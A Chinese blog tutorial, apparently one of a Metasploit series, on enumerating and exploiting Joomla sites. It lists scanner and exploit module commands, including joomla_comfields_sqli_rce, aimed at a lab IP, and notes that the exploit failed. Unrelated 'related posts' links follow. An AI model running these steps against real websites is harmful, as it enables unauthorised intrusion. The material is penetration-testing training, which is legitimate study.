Metasploit6.0系列教程 -- 渗透Joomla网站

一、使用Metasploit对Joomal进行侦察

1、探测版本信息

选择joomla_version辅助模块，设置端口号及IP地址，run运行

use auxiliary/scanner/http/joomla_versionset rhosts 192.168.1.111set rport 8080run

2、页面枚举

选择Joomla_pages辅助模块，设置端口号及IP地址，run运行

use auxiliary/scanner/http/joomla_pagesset rhosts 192.168.1.111set rport 8080run

3、插件枚举

选择Joomla_plugins辅助模块，设置端口号及IP地址，run运行

use auxiliary/scanner/http/joomla_pluginsset rhosts 192.168.1.111set rport 8080run

二、使用Metasploit对Joomla进行漏洞利用

1、use unix/webapp/joomla_comfields_sqli_rce2、set rhosts 192.168.1.1113、set rport 80804、run

5、因为利用模块会报错，所以需要修改一下，但是最后还是没有利用成功，获取cookie的时候可能出问题了，大家有兴趣的可以继续修改一下。

该系列教程内容参考自华章IT出版的

《Web渗透测试实战：基于Metasploit 5.0》

禁止非法，后果自负

欢迎关注公众号：web安全工具库

欢迎关注视频号：之乎者也吧

Metasploit6.0系列教程 -- 渗透Joomla网站相关推荐

王姨劝我学HarmonyOS鸿蒙2.0系列教程之六自定义View涂鸦项目实战！
这一节写个简单的项目,涂鸦,简单来讲就是画什么,显示什么.最好的网站,就是官网,这里再发一下: https://developer.harmonyos.com/cn/docs/documentatio ...
python3.6 django教程_【Python3.6+Django2.0+Xadmin2.0系列教程一】环境搭建及项目创建
由于工作需要,接触了大半年时间的Django+xadmin框架,一直没空对这块对进行相关的梳理.最近在同事的怂恿下,就在这分享下笔者的学习及工作经验吧. 好了,话不多说,下面开始进入正题: 环境需求: ...
黄聪：Microsoft Enterprise Library 5.0 系列教程(二) Cryptography Application Block (高级)
原文:黄聪:Microsoft Enterprise Library 5.0 系列教程(二) Cryptography Application Block (高级) 本章介绍的是企业库加密应用程序模块 ...
王姨劝我学HarmonyOS鸿蒙2.0系列教程之二应用知识梳理逻辑！
原创PDF |<Android 深入系统完全讲解>免费开源,可能价值百万! 王姨劝我学HarmonyOS鸿蒙2.0系列教程之一环境搭建&&跑起来模拟器! 写完了第一篇,跑去 ...
王姨劝我学HarmonyOS鸿蒙2.0系列教程之三Ability概述调用方法！
原创PDF |<Android 深入系统完全讲解>免费开源,可能价值百万! 王姨劝我学HarmonyOS鸿蒙2.0系列教程之一环境搭建&&跑起来模拟器! 王姨劝我学Harm ...
王姨劝我学HarmonyOS鸿蒙2.0系列教程之四Git搭建下载实例！
原创PDF |<Android 深入系统完全讲解>免费开源,可能价值百万! 王姨劝我学HarmonyOS鸿蒙2.0系列教程之三Ability概述&&调用方法! 相信大家看了 ...
王姨劝我学HarmonyOS鸿蒙2.0系列教程之五布局方法点击响应！
原创PDF |<Android 深入系统完全讲解>免费开源,可能价值百万! 王姨劝我学HarmonyOS鸿蒙2.0系列教程之三Ability概述&&调用方法! 为了更好的交 ...
黄聪：Microsoft Enterprise Library 5.0 系列教程(七) Exception Handling Application Block
黄聪:Microsoft Enterprise Library 5.0 系列教程(七) Exception Handling Application Block 原文:黄聪:Microsoft Ent ...
【Python3.6+Django2.0+Xadmin2.0系列教程之一（入门篇-上）】环境搭建及项目创建
由于工作需要,接触了大半年时间的Django+xadmin框架,一直没空对这块对进行相关的梳理.最近在同事的怂恿下,就在这分享下笔者的学习及工作经验吧. 好了,话不多说,下面开始进入正题: 转载请注明 ...

Metasploit6.0系列教程 -- 渗透Joomla网站

Metasploit6.0系列教程 -- 渗透Joomla网站相关推荐

最新文章

热门文章